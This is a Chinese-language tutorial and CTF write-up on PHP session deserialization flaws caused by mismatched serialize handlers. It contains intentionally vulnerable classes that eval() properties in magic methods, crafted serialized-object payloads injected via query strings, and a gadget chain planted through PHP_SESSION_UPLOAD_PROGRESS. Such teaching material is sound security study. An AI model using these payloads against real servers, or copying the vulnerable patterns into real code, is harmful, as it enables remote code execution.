PHP中SESSION反序列化机制详解
简介
在php.ini中存在三项配置项
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中上述的配置项的设置如下
session.save_path="D:xampptmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中session.serialize_handler是用来设置session的序列话引擎的除了默认的PHP引擎之外还存在其他引擎不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎如果要修改为其他的引擎只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
存储机制
php中的session中的内容并不是放在内存中的而是以文件的方式来存储的存储方式就是由配置项session.save_handler来进行确定的默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp那么默认配置如上所述。
在默认配置情况下
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
最后的session的存储和显示如下
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2文件的内容是name|s:6:"spoock";。name是键值s:6:"spoock";是serialize("spoock")的结果。
在php_serialize引擎下
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是names:6:"spoock";。由于name的长度是44在ASCII表中对应的就是EOT。根据php_binary的存储规则最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示这个大家自行去查ASCII表吧)
序列化简单利用
test.php
<?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>
在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串反序列化为syclover的一个示例那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:
object(syclover)[1]
public 'func' => string 'echo "spoock";' (length=14)
最后页面输出的就是spoock说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示
PHP Session中的序列化危害
PHP中的Session的实现是没有的问题危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样会导致数据无法正确第反序列化。通过精心构造的数据包就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的数据使用php_serialize那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候选择的是php那么最后读取的内容是:
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候php引擎会以|作为作为key和value的分隔符那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key将O:11:"PeopleClass":0:{}作为value然后进行反序列化最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在s1.php和us2.php2个文件所使用的SESSION的引擎不一样就形成了一个漏洞、
s1.php使用php_serialize来处理session
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
当访问s1.php时提交如下的数据
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时页面输出spoock成功执行了我们构造的函数。因为在访问us2.php时程序会按照php来反序列化SESSION中的数据此时就会反序列化伪造的数据就会实例化lemon对象最后就会执行析构函数中的eval()方法。
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}
?>
index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
通过代码发现我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境构造我们需要执行的自定义的函数。如下
myindex.php
<?php
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>
在foo1中的构造函数中定义$varr的值为foo2的实例在foo2中定义$obj为foo3的实例在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端然后再访问服务器的index.php最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置具体为在上传文件时如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量就可以将filename的值赋值到session中上传的页面的写法如下
最后就会将文件名写入到session中具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候发现无法实现安恒这道题目所实现的效果但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识也有助于程序员加强在PHP中的SESSION机制的理解。
